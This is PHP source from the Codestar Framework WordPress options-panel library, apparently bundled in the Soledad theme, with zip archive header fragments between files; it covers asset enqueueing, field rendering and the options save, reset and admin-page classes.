      if ( apply_filters( 'csf_fa4', false ) ) {
        wp_enqueue_style( 'csf-fa', 'https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css', array(), '4.7.0', 'all' );
      } else {
        wp_enqueue_style( 'csf-fa5', 'https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5.15.4/css/all.min.css', array(), '5.15.5', 'all' );
        wp_enqueue_style( 'csf-fa5-v4-shims', 'https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5.15.4/css/v4-shims.min.css', array(), '5.15.5', 'all' );
      }

      // Check for developer mode
      $min = ( self::$premium && SCRIPT_DEBUG ) ? '' : '.min';

      // Main style
      wp_enqueue_style( 'csf', self::include_plugin_url( 'assets/css/style'. $min .'.css' ), array(), self::$version, 'all' );

      // Main RTL styles
      if ( is_rtl() ) {
        wp_enqueue_style( 'csf-rtl', self::include_plugin_url( 'assets/css/style-rtl'. $min .'.css' ), array(), self::$version, 'all' );
      }

      // Main scripts
      wp_enqueue_script( 'csf-plugins', self::include_plugin_url( 'assets/js/plugins'. $min .'.js' ), array(), self::$version, true );
      wp_enqueue_script( 'csf', self::include_plugin_url( 'assets/js/main'. $min .'.js' ), array( 'csf-plugins' ), self::$version, true );

      // Main variables
      wp_localize_script( 'csf', 'csf_vars', array(
        'color_palette'     => apply_filters( 'csf_color_palette', array() ),
        'i18n'              => array(
          'confirm'         => esc_html__( 'Are you sure?', 'csf' ),
          'typing_text'     => esc_html__( 'Please enter %s or more characters', 'csf' ),
          'searching_text'  => esc_html__( 'Searching...', 'csf' ),
          'no_results_text' => esc_html__( 'No results found.', 'csf' ),
        ),
      ) );

      // Enqueue fields scripts and styles
      $enqueued = array();

      if ( ! empty( self::$fields ) ) {
        foreach ( self::$fields as $field ) {
          if ( ! empty( $field['type'] ) ) {
            $classname = 'CSF_Field_' . $field['type'];
            if ( class_exists( $classname ) && method_exists( $classname, 'enqueue' ) ) {
              $instance = new $classname( $field );
              if ( method_exists( $classname, 'enqueue' ) ) {
                $instance->enqueue();
              }
              unset( $instance );
            }
          }
        }
      }

      do_action( 'csf_enqueue' );

    }

    // Add typography enqueue styles to front page
    public static function add_typography_enqueue_styles() {

      if ( ! empty( self::$webfonts ) ) {

        if ( ! empty( self::$webfonts['enqueue'] ) ) {

          $query = array();
          $fonts = array();

          foreach ( self::$webfonts['enqueue'] as $family => $styles ) {
            $fonts[] = $family . ( ( ! empty( $styles ) ) ? ':'. implode( ',', $styles ) : '' );
          }

          if ( ! empty( $fonts ) ) {
            $query['family'] = implode( '%7C', $fonts );
          }

          if ( ! empty( self::$subsets ) ) {
            $query['subset'] = implode( ',', self::$subsets );
          }

          $query['display'] = 'swap';

          wp_enqueue_style( 'csf-google-web-fonts', esc_url( add_query_arg( $query, '//fonts.googleapis.com/css' ) ), array(), null );

        }

        if ( ! empty( self::$webfonts['async'] ) ) {

          $fonts = array();

          foreach ( self::$webfonts['async'] as $family => $styles ) {
            $fonts[] = $family . ( ( ! empty( $styles ) ) ? ':'. implode( ',', $styles ) : '' );
          }

          wp_enqueue_script( 'csf-google-web-fonts', esc_url( '//ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js' ), array(), null );

          wp_localize_script( 'csf-google-web-fonts', 'WebFontConfig', array( 'google' => array( 'families' => $fonts ) ) );

        }

      }

    }

    // Add admin body class
    public static function add_admin_body_class( $classes ) {

      if ( apply_filters( 'csf_fa4', false ) ) {
        $classes .= 'csf-fa5-shims';
      }

      return $classes;

    }

    // Add custom css to front page
    public static function add_custom_css() {

      if ( ! empty( self::$css ) ) {
        echo '<style type="text/css">'. wp_strip_all_tags( self::$css ) .'</style>';
      }

    }

    // Add a new framework field
    public static function field( $field = array(), $value = '', $unique = '', $where = '', $parent = '' ) {

      // Check for unallow fields
      if ( ! empty( $field['_notice'] ) ) {

        $field_type = $field['type'];

        $field            = array();
        $field['content'] = esc_html__( 'Oops! Not allowed.', 'csf' ) .' <strong>('. $field_type .')</strong>';
        $field['type']    = 'notice';
        $field['style']   = 'danger';

      }

      $depend     = '';
      $visible    = '';
      $unique     = ( ! empty( $unique ) ) ? $unique : '';
      $class      = ( ! empty( $field['class'] ) ) ? ' ' . esc_attr( $field['class'] ) : '';
      $is_pseudo  = ( ! empty( $field['pseudo'] ) ) ? ' csf-pseudo-field' : '';
      $field_type = ( ! empty( $field['type'] ) ) ? esc_attr( $field['type'] ) : '';

      if ( ! empty( $field['dependency'] ) ) {

        $dependency      = $field['dependency'];
        $depend_visible  = '';
        $data_controller = '';
        $data_condition  = '';
        $data_value      = '';
        $data_global     = '';

        if ( is_array( $dependency[0] ) ) {
          $data_controller = implode( '|', array_column( $dependency, 0 ) );
          $data_condition  = implode( '|', array_column( $dependency, 1 ) );
          $data_value      = implode( '|', array_column( $dependency, 2 ) );
          $data_global     = implode( '|', array_column( $dependency, 3 ) );
          $depend_visible  = implode( '|', array_column( $dependency, 4 ) );
        } else {
          $data_controller = ( ! empty( $dependency[0] ) ) ? $dependency[0] : '';
          $data_condition  = ( ! empty( $dependency[1] ) ) ? $dependency[1] : '';
          $data_value      = ( ! empty( $dependency[2] ) ) ? $dependency[2] : '';
          $data_global     = ( ! empty( $dependency[3] ) ) ? $dependency[3] : '';
          $depend_visible  = ( ! empty( $dependency[4] ) ) ? $dependency[4] : '';
        }

        $depend .= ' data-controller="'. esc_attr( $data_controller ) .'"';
        $depend .= ' data-condition="'. esc_attr( $data_condition ) .'"';
        $depend .= ' data-value="'. esc_attr( $data_value ) .'"';
        $depend .= ( ! empty( $data_global ) ) ? ' data-depend-global="true"' : '';

        $visible = ( ! empty( $depend_visible ) ) ? ' csf-depend-visible' : ' csf-depend-hidden';

      }

      // These attributes has been sanitized above.
      echo '<div class="csf-field csf-field-'. $field_type . $is_pseudo . $class . $visible .'"'. $depend .'>';

      if ( ! empty( $field_type ) ) {

        if ( ! empty( $field['title'] ) ) {
          echo '<div class="csf-title">';
          echo '<h4>'. $field['title'] .'</h4>';
          echo ( ! empty( $field['subtitle'] ) ) ? '<div class="csf-subtitle-text">'. $field['subtitle'] .'</div>' : '';
          echo '</div>';
        }

        echo ( ! empty( $field['title'] ) ) ? '<div class="csf-fieldset">' : '';

        $value = ( ! isset( $value ) && isset( $field['default'] ) ) ? $field['default'] : $value;
        $value = ( isset( $field['value'] ) ) ? $field['value'] : $value;

        $classname = 'CSF_Field_'. $field_type;

        if ( class_exists( $classname ) ) {
          $instance = new $classname( $field, $value, $unique, $where, $parent );
          $instance->render();
        } else {
          echo '<p>'. esc_html__( 'Field not found!', 'csf' ) .'</p>';
        }

      } else {
        echo '<p>'. esc_html__( 'Field not found!', 'csf' ) .'</p>';
      }

      echo ( ! empty( $field['title'] ) ) ? '</div>' : '';
      echo '<div class="clear"></div>';
      echo '</div>';

    }

  }

}

CSF_Setup::init( __FILE__, false );

/**
 *
 * Extended Setup Class for Shortland
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF' ) ) {
  class CSF extends CSF_Setup{}
}
PK     N\߃Fma  ma  5  inc/options/framework/classes/admin-options.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) {
	die; } // Cannot access directly.
/**
 *
 * Options Class
 *
 * @since 1.0.0
 * @version 1.0.0
 */
if ( ! class_exists( 'CSF_Options' ) ) {
	class CSF_Options extends CSF_Abstract {

		// constans
		public $unique       = '';
		public $notice       = '';
		public $abstract     = 'options';
		public $sections     = array();
		public $options      = array();
		public $errors       = array();
		public $pre_tabs     = array();
		public $pre_fields   = array();
		public $pre_sections = array();
		public $args         = array(

			// framework title
			'framework_title'         => 'Codestar Framework <small>by Codestar</small>',
			'framework_class'         => '',

			// menu settings
			'menu_title'              => '',
			'menu_slug'               => '',
			'menu_type'               => 'menu',
			'menu_capability'         => 'manage_options',
			'menu_icon'               => null,
			'menu_position'           => null,
			'menu_hidden'             => false,
			'menu_parent'             => '',
			'sub_menu_title'          => '',

			// menu extras
			'show_bar_menu'           => true,
			'show_sub_menu'           => true,
			'show_in_network'         => true,
			'show_in_customizer'      => false,

			'show_search'             => true,
			'show_reset_all'          => true,
			'show_reset_section'      => true,
			'show_footer'             => true,
			'show_all_options'        => true,
			'show_form_warning'       => true,
			'sticky_header'           => true,
			'save_defaults'           => true,
			'ajax_save'               => true,
			'form_action'             => '',

			// admin bar menu settings
			'admin_bar_menu_icon'     => '',
			'admin_bar_menu_priority' => 50,

			// footer
			'footer_text'             => 'Thank you for creating with Codestar Framework',
			'footer_after'            => '',
			'footer_credit'           => '',

			// database model
			'database'                => '', // options, transient, theme_mod, network
			'transient_time'          => 0,

			// contextual help
			'contextual_help'         => array(),
			'contextual_help_sidebar' => '',

			// typography options
			'enqueue_webfont'         => true,
			'async_webfont'           => false,

			// others
			'output_css'              => true,

			// theme
			'nav'                     => 'normal',
			'theme'                   => 'dark',
			'class'                   => '',

			// external default values
			'defaults'                => array(),

		);

		// run framework construct
		public function __construct( $key, $params = array() ) {

			$this->unique   = $key;
			$this->args     = apply_filters( "csf_{$this->unique}_args", wp_parse_args( $params['args'], $this->args ), $this );
			$this->sections = apply_filters( "csf_{$this->unique}_sections", $params['sections'], $this );

			// run only is admin panel options, avoid performance loss
			$this->pre_tabs     = $this->pre_tabs( $this->sections );
			$this->pre_fields   = $this->pre_fields( $this->sections );
			$this->pre_sections = $this->pre_sections( $this->sections );

			$this->get_options();
			$this->set_options();
			$this->save_defaults();

			add_action( 'admin_menu', array( $this, 'add_admin_menu' ) );
			add_action( 'admin_bar_menu', array( $this, 'add_admin_bar_menu' ), $this->args['admin_bar_menu_priority'] );
			add_action( 'wp_ajax_csf_' . $this->unique . '_ajax_save', array( $this, 'ajax_save' ) );
			add_action( 'wp_ajax_penci_reset_all_options', array( $this, 'reset_all_options' ) );
			add_action( 'wp_ajax_penci_reset_section', array( $this, 'reset_sections' ) );

			if ( $this->args['database'] === 'network' && ! empty( $this->args['show_in_network'] ) ) {
				add_action( 'network_admin_menu', array( $this, 'add_admin_menu' ) );
			}

			// wp enqeueu for typography and output css
			parent::__construct();
		}

		// instance
		public static function instance( $key, $params = array() ) {
			return new self( $key, $params );
		}

		// add admin bar menu
		public function add_admin_bar_menu( $wp_admin_bar ) {

			if ( ! current_user_can( $this->args['menu_capability'] ) ) {
				return;
			}

			if ( is_network_admin() && ( $this->args['database'] !== 'network' || $this->args['show_in_network'] !== true ) ) {
				return;
			}

			if ( ! empty( $this->args['show_bar_menu'] ) && empty( $this->args['menu_hidden'] ) ) {

				global $submenu;

				$menu_slug = $this->args['menu_slug'];
				$menu_icon = ( ! empty( $this->args['admin_bar_menu_icon'] ) ) ? '<span class="csf-ab-icon ab-icon ' . esc_attr( $this->args['admin_bar_menu_icon'] ) . '"></span>' : '';

				$wp_admin_bar->add_node(
					array(
						'id'    => $menu_slug,
						'title' => $menu_icon . esc_attr( $this->args['menu_title'] ),
						'href'  => esc_url( ( is_network_admin() ) ? network_admin_url( 'admin.php?page=' . $menu_slug ) : admin_url( 'admin.php?page=' . $menu_slug ) ),
					)
				);

				if ( ! empty( $submenu[ $menu_slug ] ) ) {
					foreach ( $submenu[ $menu_slug ] as $menu_key => $menu_value ) {
						$wp_admin_bar->add_node(
							array(
								'parent' => $menu_slug,
								'id'     => $menu_slug . '-' . $menu_key,
								'title'  => $menu_value[0],
								'href'   => esc_url( ( is_network_admin() ) ? network_admin_url( 'admin.php?page=' . $menu_value[2] ) : admin_url( 'admin.php?page=' . $menu_value[2] ) ),
							)
						);
					}
				}
			}
		}

		public function ajax_save() {

			$result = $this->set_ajax_options();

			if ( ! $result ) {
				wp_send_json_error( array( 'error' => esc_html__( 'Error while saving the changes.', 'csf' ) ) );
			} else {
				wp_send_json_success(
					array(
						'notice' => $this->notice,
						'errors' => $this->errors,
					)
				);
			}
		}

		// get default value
		public function get_default( $field ) {

			$default = ( isset( $field['default'] ) ) ? $field['default'] : '';
			$default = ( isset( $this->args['defaults'][ $field['id'] ] ) ) ? $this->args['defaults'][ $field['id'] ] : $default;

			return $default;
		}

		// save defaults and set new fields value to main options
		public function save_defaults() {

			$tmp_options = $this->options;

			foreach ( $this->pre_fields as $field ) {
				if ( ! empty( $field['id'] ) ) {
					$this->options[ $field['id'] ] = ( isset( $this->options[ $field['id'] ] ) ) ? $this->options[ $field['id'] ] : $this->get_default( $field );
				}
			}

			if ( $this->args['save_defaults'] && empty( $tmp_options ) ) {
				$this->save_options( $this->options );
			}
		}

		public function set_ajax_options() {
			$response = isset( $_REQUEST['data'] ) && $_REQUEST['data'] ? json_decode( wp_unslash( trim( $_REQUEST['data'] ) ), true ) : '';
			$noncekey = 'csf_options_nonce' . $this->unique;
			$nonce    = ( ! empty( $response[ $noncekey ] ) ) ? $response[ $noncekey ] : '';
			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) ) {

				if ( isset( $response['soledad_theme_options'] ) && ! empty( $response['soledad_theme_options'] ) ) {

					foreach ( $response['soledad_theme_options'] as $mod => $value ) {
						set_theme_mod( $mod, $value );
					}

					if ( empty( $this->notice ) ) {
						$this->notice = esc_html__( 'Settings saved.', 'csf' );
					}
				} elseif ( empty( $this->notice ) ) {
						$this->notice = esc_html__( 'Settings saved.', 'csf' );
				}

				return true;
			}
			return false;
		}

		public function reset_all_options() {
			$nonce = $_REQUEST['nonce'];
			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) ) {
				$theme_slug = get_option( 'stylesheet' );
				delete_option( "theme_mods_$theme_slug" );
				wp_send_json_success(
					array(
						'notice' => esc_html__( 'Default settings restored.', 'csf' ),
					)
				);
			}
			wp_send_json_error( array( 'error' => esc_html__( 'Error while resettings.', 'csf' ) ) );
		}

		public function reset_sections() {
			$nonce      = $_REQUEST['nonce'];
			$section_id = $_REQUEST['section'];
			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) && ! empty( $this->pre_sections[ $section_id - 1 ]['fields'] ) ) {

				foreach ( $this->pre_sections[ $section_id - 1 ]['fields'] as $field ) {
					if ( ! empty( $field['id'] ) ) {
						remove_theme_mod( $field['id'] );
					}
				}
				wp_send_json_success(
					array(
						'notice' => esc_html__( 'Default settings restored.', 'csf' ),
					)
				);
			}
			wp_send_json_error( array( 'error' => esc_html__( 'Error while resettings.', 'csf' ) ) );
		}

		// set options
		public function set_options( $ajax = false ) {

			// XSS ok.
			// No worries, This "POST" requests is sanitizing in the below foreach. see #L337 - #L341
			$response = ( $ajax && ! empty( $_POST['data'] ) ) ? json_decode( wp_unslash( trim( $_POST['data'] ) ), true ) : $_POST;

			// Set variables.
			$data      = array();
			$noncekey  = 'csf_options_nonce' . $this->unique;
			$nonce     = ( ! empty( $response[ $noncekey ] ) ) ? $response[ $noncekey ] : '';
			$options   = ( ! empty( $response[ $this->unique ] ) ) ? $response[ $this->unique ] : array();
			$transient = ( ! empty( $response['csf_transient'] ) ) ? $response['csf_transient'] : array();

			if ( wp_verify_nonce( $nonce, 'csf_options_nonce' ) ) {

				$importing  = false;
				$section_id = ( ! empty( $transient['section'] ) ) ? $transient['section'] : '';

				if ( ! $ajax && ! empty( $response['csf_import_data'] ) ) {

					// XSS ok.
					// No worries, This "POST" requests is sanitizing in the below foreach. see #L337 - #L341
					$import_data  = json_decode( wp_unslash( trim( $response['csf_import_data'] ) ), true );
					$options      = ( is_array( $import_data ) && ! empty( $import_data ) ) ? $import_data : array();
					$importing    = true;
					$this->notice = esc_html__( 'Settings successfully imported.', 'csf' );

				}

				if ( ! empty( $transient['reset'] ) ) {

					$theme_slug = get_option( 'stylesheet' );
					delete_option( "theme_mods_$theme_slug" );

					$this->notice = esc_html__( 'Default settings restored.', 'csf' );

				} elseif ( ! empty( $transient['reset_section'] ) && ! empty( $section_id ) ) {

					if ( ! empty( $this->pre_sections[ $section_id - 1 ]['fields'] ) ) {

						foreach ( $this->pre_sections[ $section_id - 1 ]['fields'] as $field ) {
							if ( ! empty( $field['id'] ) ) {
								$data[ $field['id'] ] = $this->get_default( $field );
							}
						}
					}

					$data = wp_parse_args( $data, $this->options );

					$this->notice = esc_html__( 'Default settings restored.', 'csf' );

				} else {

					// sanitize and validate
					foreach ( $this->pre_fields as $field ) {

						if ( ! empty( $field['id'] ) ) {

								$field_id    = $field['id'];
								$field_value = isset( $options[ $field_id ] ) ? $options[ $field_id ] : '';

								// Ajax and Importing doing wp_unslash already.
							if ( ! $ajax && ! $importing ) {
								$field_value = wp_unslash( $field_value );
							}

							// Sanitize "post" request of field.
							if ( ! isset( $field['sanitize'] ) ) {

								if ( is_array( $field_value ) ) {

									$data[ $field_id ] = wp_kses_post_deep( $field_value );

								} else {

									$data[ $field_id ] = wp_kses_post( $field_value );

								}
							} elseif ( isset( $field['sanitize'] ) && is_callable( $field['sanitize'] ) ) {

										$data[ $field_id ] = call_user_func( $field['sanitize'], $field_value );

							} else {

								$data[ $field_id ] = $field_value;

							}

							// Validate "post" request of field.
							if ( isset( $field['validate'] ) && is_callable( $field['validate'] ) ) {

								$has_validated = call_user_func( $field['validate'], $field_value );

								if ( ! empty( $has_validated ) ) {

									$data[ $field_id ]         = ( isset( $this->options[ $field_id ] ) ) ? $this->options[ $field_id ] : '';
									$this->errors[ $field_id ] = $has_validated;

								}
							}
						}
					}
				}

				$data = apply_filters( "csf_{$this->unique}_save", $data, $this );

				do_action( "csf_{$this->unique}_save_before", $data, $this );

				$this->options = $data;

				$this->save_options( $data );

				do_action( "csf_{$this->unique}_save_after", $data, $this );

				if ( empty( $this->notice ) ) {
					$this->notice = esc_html__( 'Settings saved.', 'csf' );
				}

				return true;

			}

			return false;
		}

		// save options database
		public function save_options( $data ) {

			if ( $this->args['database'] === 'transient' ) {
				set_transient( $this->unique, $data, $this->args['transient_time'] );
			} elseif ( $this->args['database'] === 'theme_mod' ) {
				foreach ( $data as $id => $value ) {
					set_theme_mod( $id, $value );
				}
			} elseif ( $this->args['database'] === 'network' ) {
				update_site_option( $this->unique, $data );
			} else {
				update_option( $this->unique, $data );
			}

			do_action( "csf_{$this->unique}_saved", $data, $this );
		}

		// get options from database
		public function get_options() {

			if ( $this->args['database'] === 'transient' ) {
				$this->options = get_transient( $this->unique );
			} elseif ( $this->args['database'] === 'theme_mod' ) {
				$this->options = get_theme_mods();
			} elseif ( $this->args['database'] === 'network' ) {
				$this->options = get_site_option( $this->unique );
			} else {
				$this->options = get_option( $this->unique );
			}

			if ( empty( $this->options ) ) {
				$this->options = array();
			}

			return $this->options;
		}

		// admin menu
		public function add_admin_menu() {

			extract( $this->args );

			if ( $menu_type === 'submenu' ) {

				$menu_page = call_user_func( 'add_submenu_page', $menu_parent, esc_attr( $menu_title ), esc_attr( $menu_title ), $menu_capability, $menu_slug, array( $this, 'add_options_html' ) );

			} else {

				$menu_page = call_user_func( 'add_menu_page', esc_attr( $menu_title ), esc_attr( $menu_title ), $menu_capability, $menu_slug, array( $this, 'add_options_html' ), $menu_icon, $menu_position );

				if ( ! empty( $sub_menu_title ) ) {
					call_user_func( 'add_submenu_page', $menu_slug, esc_attr( $sub_menu_title ), esc_attr( $sub_menu_title ), $menu_capability, $menu_slug, array( $this, 'add_options_html' ) );
				}

				if ( ! empty( $this->args['show_sub_menu'] ) && count( $this->pre_tabs ) > 1 ) {

					// create submenus
					foreach ( $this->pre_tabs as $section ) {
						call_user_func( 'add_submenu_page', $menu_slug, esc_attr( $section['title'] ), esc_attr( $section['title'] ), $menu_capability, $menu_slug . '#tab=' . sanitize_title( $section['title'] ), '__return_null' );
					}

					remove_submenu_page( $menu_slug, $menu_slug );

				}

				if ( ! empty( $menu_hidden ) ) {
					remove_menu_page( $menu_slug );
				}
			}

			add_action( 'load-' . $menu_page, array( $this, 'add_page_on_load' ) );
		}

		public function add_page_on_load() {

			if ( ! empty( $this->args['contextual_help'] ) ) {

				$screen = get_current_screen();

				foreach ( $this->args['contextual_help'] as $tab ) {
					$screen->add_help_tab( $tab );
				}

				if ( ! empty( $this->args['contextual_help_sidebar'] ) ) {
					$screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
				}
			}

			if ( ! empty( $this->args['footer_credit'] ) ) {
				add_filter( 'admin_footer_text', array( $this, 'add_admin_footer_text' ) );
			}
		}

		public function add_admin_footer_text() {
			echo wp_kses_post( $this->args['footer_credit'] );
		}

		public function error_check( $sections, $err = '' ) {

			if ( ! $this->args['ajax_save'] ) {

				if ( ! empty( $sections['fields'] ) ) {
					foreach ( $sections['fields'] as $field ) {
						if ( ! empty( $field['id'] ) ) {
							if ( array_key_exists( $field['id'], $this->errors ) ) {
								$err = '<span class="csf-label-error">!</span>';
							}
						}
					}
				}

				if ( ! empty( $sections['subs'] ) ) {
					foreach ( $sections['subs'] as $sub ) {
						$err = $this->error_check( $sub, $err );
					}
				}

				if ( ! empty( $sections['id'] ) && array_key_exists( $sections['id'], $this->errors ) ) {
					$err = $this->errors[ $sections['id'] ];
				}
			}

			return $err;
		}

		// option page html output
		public function add_options_html() {

			$has_nav       = ( count( $this->pre_tabs ) > 1 ) ? true : false;
			$show_all      = ( ! $has_nav ) ? ' csf-show-all' : '';
			$ajax_class    = ( $this->args['ajax_save'] ) ? ' csf-save-ajax' : '';
			$sticky_class  = ( $this->args['sticky_header'] ) ? ' csf-sticky-header' : '';
			$wrapper_class = ( $this->args['framework_class'] ) ? ' ' . $this->args['framework_class'] : '';
			$theme         = ( $this->args['theme'] ) ? ' csf-theme-' . $this->args['theme'] : '';
			$class         = ( $this->args['class'] ) ? ' ' . $this->args['class'] : '';
			$nav_type      = ( $this->args['nav'] === 'inline' ) ? 'inline' : 'normal';
			$form_action   = ( $this->args['form_action'] ) ? $this->args['form_action'] : '';

			do_action( 'csf_options_before' );

			echo '<div class="csf csf-options' . esc_attr( $theme . $class . $wrapper_class ) . '" data-slug="' . esc_attr( $this->args['menu_slug'] ) . '" data-unique="' . esc_attr( $this->unique ) . '">';

			echo '<div class="csf-container">';

			echo '<form method="post" action="' . esc_attr( $form_action ) . '" enctype="multipart/form-data" id="csf-form" autocomplete="off" novalidate="novalidate">';

			echo '<input type="hidden" class="csf-section-id" name="csf_transient[section]" value="1">';

			wp_nonce_field( 'csf_options_nonce', 'csf_options_nonce' . $this->unique );

			echo '<div class="csf-header' . esc_attr( $sticky_class ) . '">';
			echo '<div class="csf-header-inner">';

			echo '<div class="csf-header-left">';
			echo '<h1><span>' . $this->args['framework_title'] . '</span></h1>';
			echo '</div>';

			echo '<div class="csf-header-right">';

			$notice_class = ( ! empty( $this->notice ) ) ? 'csf-form-show' : '';
			$notice_text  = ( ! empty( $this->notice ) ) ? $this->notice : '';

			echo '<div class="csf-form-result csf-form-success ' . esc_attr( $notice_class ) . '">' . $notice_text . '</div>';

			echo ( $this->args['show_form_warning'] ) ? '<div class="csf-form-result csf-form-warning">' . esc_html__( 'You have unsaved changes, save your changes!', 'csf' ) . '</div>' : '';

			echo ( $has_nav && $this->args['show_all_options'] ) ? '<div class="csf-expand-all" title="' . esc_html__( 'show all settings', 'csf' ) . '"><i class="fas fa-outdent"></i></div>' : '';

			echo ( $this->args['show_search'] ) ? '<div class="csf-search"><input type="text" name="csf-search" placeholder="' . esc_html__( 'Search...', 'csf' ) . '" autocomplete="off" /></div>' : '';

			echo '<div class="csf-buttons">';
			echo '<input disabled type="submit" name="' . esc_attr( $this->unique ) . '[_nonce][save]" class="button button-primary csf-top-save csf-save' . esc_attr( $ajax_class ) . '" value="' . esc_html__( 'Save', 'csf' ) . '" data-save="' . esc_html__( 'Saving...', 'csf' ) . '">';
			echo ( $this->args['show_reset_section'] ) ? '<input type="submit" name="csf_transient[reset_section]" class="button button-secondary csf-reset-section csf-confirm" value="' . esc_html__( 'Reset Section', 'csf' ) . '" data-confirm="' . esc_html__( 'Are you sure to reset this section options?', 'csf' ) . '">' : '';
			echo ( $this->args['show_reset_all'] ) ? '<input type="submit" name="csf_transient[reset]" class="button csf-warning-primary csf-reset-all csf-confirm" value="' . ( ( $this->args['show_reset_section'] ) ? esc_html__( 'Reset All', 'csf' ) : esc_html__( 'Reset', 'csf' ) ) . '" data-confirm="' . esc_html__( 'Are you sure you want to reset all settings to default values?', 'csf' ) . '">' : '';
			echo '</div>';

			echo '</div>';

			echo '<div class="clear"></div>';
			echo '</div>';
			echo '</div>';

			echo '<div class="csf-wrapper' . esc_attr( $show_all ) . '">';

			if ( $has_nav ) {

				echo '<div class="csf-nav csf-nav-' . esc_attr( $nav_type ) . ' csf-nav-options">';

				echo '<div class="theiaStickySidebar"><ul>';

				foreach ( $this->pre_tabs as $tab ) {

					$tab_id    = sanitize_title( $tab['title'] );
					$tab_error = $this->error_check( $tab );
					$tab_icon  = ( ! empty( $tab['icon'] ) ) ? '<i class="csf-tab-icon ' . esc_attr( $tab['icon'] ) . '"></i>' : '';

					if ( ! empty( $tab['subs'] ) ) {

						echo '<li class="csf-tab-item">';

						echo '<a href="#tab=' . esc_attr( $tab_id ) . '" data-tab-id="' . esc_attr( $tab_id ) . '" class="csf-arrow">' . $tab_icon . '<span class="penci-cpnale-tab-title">' . $tab['title'] . '</span>' . $tab_error . '</a>';

						echo '<ul>';

						foreach ( $tab['subs'] as $sub ) {

							$sub_id    = $tab_id . '/' . sanitize_title( $sub['title'] );
							$sub_error = $this->error_check( $sub );
							$sub_icon  = ( ! empty( $sub['icon'] ) ) ? '<i class="csf-tab-icon ' . esc_attr( $sub['icon'] ) . '"></i>' : '';

							echo '<li><a href="#tab=' . esc_attr( $sub_id ) . '" data-tab-id="' . esc_attr( $sub_id ) . '">' . $sub_icon . $sub['title'] . $sub_error . '</a></li>';

						}

						echo '</ul>';

						echo '</li>';

					} else {

						echo '<li class="csf-tab-item"><a href="#tab=' . esc_attr( $tab_id ) . '" data-tab-id="' . esc_attr( $tab_id ) . '">' . $tab_icon . '<span class="penci-cpnale-tab-title">' . $tab['title'] . '</span>' . $tab_error . '</a></li>';

					}
				}

				echo '</ul></div>';

				echo '</div>';

			}

			echo '<div class="csf-content">';

			echo '<div class="csf-sections"><div class="theiaStickySidebar">';

			foreach ( $this->pre_sections as $section ) {

				$section_onload = ( ! $has_nav ) ? ' csf-onload' : '';
				$section_class  = ( ! empty( $section['class'] ) ) ? ' ' . $section['class'] : '';
				$section_icon   = ( ! empty( $section['icon'] ) ) ? '<i class="csf-section-icon ' . esc_attr( $section['icon'] ) . '"></i>' : '';
				$section_title  = ( ! empty( $section['title'] ) ) ? $section['title'] : '';
				$section_parent = ( ! empty( $section['ptitle'] ) ) ? sanitize_title( $section['ptitle'] ) . '/' : '';
				$section_slug   = ( ! empty( $section['title'] ) ) ? sanitize_title( $section_title ) : '';

				echo '<div class="csf-section hidden' . esc_attr( $section_onload . $section_class ) . '" data-section-id="' . esc_attr( $section_parent . $section_slug ) . '">';
				echo ( $has_nav ) ? '<div class="csf-section-title"><h3>' . $section_icon . $section_title . '</h3></div>' : '';
				echo ( ! empty( $section['description'] ) ) ? '<div class="csf-field csf-section-description">' . $section['description'] . '</div>' : '';

				if ( ! empty( $section['fields'] ) ) {

					foreach ( $section['fields'] as $field ) {

						$is_field_error = $this->error_check( $field );

						if ( ! empty( $is_field_error ) ) {
							$field['_error'] = $is_field_error;
						}

						if ( ! empty( $field['id'] ) ) {
							$field['default'] = $this->get_default( $field );
						}

						$value = ( ! empty( $field['id'] ) && isset( $this->options[ $field['id'] ] ) ) ? $this->options[ $field['id'] ] : '';

						CSF::field( $field, $value, $this->unique, 'options' );

					}
				} else {

								echo '<div class="csf-no-option">' . esc_html__( 'No data available.', 'csf' ) . '</div>';

				}

				echo '</div>';

			}

			echo '</div></div>';

			echo '<div class="clear"></div>';

			echo '</div>';

			echo ( $has_nav && $nav_type === 'normal' ) ? '<div class="csf-nav-background"></div>' : '';

			echo '</div>';

			if ( ! empty( $this->args['show_footer'] ) ) {

				echo '<div class="csf-footer">';

				echo '<div class="csf-buttons">';
				echo '<input disabled type="submit" name="csf_transient[save]" class="button button-primary csf-save' . esc_attr( $ajax_class ) . '" value="' . esc_html__( 'Save', 'csf' ) . '" data-save="' . esc_html__( 'Saving...', 'csf' ) . '">';
				echo ( $this->args['show_reset_section'] ) ? '<input type="submit" name="csf_transient[reset_section]" class="button button-secondary csf-reset-section csf-confirm" value="' . esc_html__( 'Reset Section', 'csf' ) . '" data-confirm="' . esc_html__( 'Are you sure to reset this section options?', 'csf' ) . '">' : '';
				echo ( $this->args['show_reset_all'] ) ? '<input type="submit" name="csf_transient[reset]" class="button csf-warning-primary csf-reset-all csf-confirm" value="' . ( ( $this->args['show_reset_section'] ) ? esc_html__( 'Reset All', 'csf' ) : esc_html__( 'Reset', 'csf' ) ) . '" data-confirm="' . esc_html__( 'Are you sure you want to reset all settings to default values?', 'csf' ) . '">' : '';
				echo '</div>';

				echo ( ! empty( $this->args['footer_text'] ) ) ? '<div class="csf-copyright">' . $this->args['footer_text'] . '</div>' : '';

				echo '<div class="clear"></div>';
				echo '</div>';

			}

			echo '</form>';

			echo '</div>';

			echo '<div class="clear"></div>';

			echo ( ! empty( $this->args['footer_after'] ) ) ? $this->args['footer_after'] : '';

			echo '</div>';

			do_action( 'csf_options_after' );
		}
	}
}
PK     N\A  A  0  inc/options/framework/classes/abstract.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Abstract Class
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Abstract' ) ) {
  abstract class CSF_Abstract {

    public $abstract   = '';
    public $output_css = '';

    public function __construct() {

      // Collect output css and typography
      if ( ! empty( $this->args['output_css'] ) || ! empty( $this->args['enqueue_webfont'] ) ) {
